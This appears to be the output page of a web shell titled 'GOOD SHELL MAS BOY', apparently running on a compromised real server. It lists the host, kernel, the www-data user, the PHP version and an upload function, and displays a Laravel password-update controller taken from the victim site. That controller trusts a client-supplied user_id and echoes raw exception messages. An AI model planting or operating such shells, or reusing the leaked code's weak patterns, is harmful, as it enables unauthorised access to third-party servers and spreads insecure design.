GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/console.fixgini.com/app/Http/Controllers/Profile/UpdatePasswordController.php
<?php

namespace App\Http\Controllers\Profile;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\User;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Hash; 
use Illuminate\Validation\ValidationException;

class UpdatePasswordController extends Controller
{
    public function updatePassword(Request $request)
    {
        try {
            $validatedData = $request->validate([
                'user_id' => ['required', 'string', 'exists:users,id'],
                'current_password' => ['required', 'string'],
                'new_password' => ['required', 'string', 'min:8', 'different:current_password'],
                'password_confirmation' => ['required', 'string', 'same:new_password'],
            ]);
        } catch (ValidationException $e) {
            Log::alert($e->getMessage());
            return response()->json(['error' => $e->getMessage()], 422);
        }

        try {
            $user = User::find($request->input('user_id'));
            if (!Hash::check($request->input('current_password'), $user->password)) {
                return response()->json(['error' => 'Current password is incorrect.'], 422);
            }
            $user->password = Hash::make($request->input('new_password'));
            $user->save();
            return response()->json(['message' => 'Password updated successfully.'], 200);
        } catch (\Exception $e) {
            $message = $e->getMessage();
            return response()->json(['error' => $e->getMessage()], 400);
        }
    }
 
}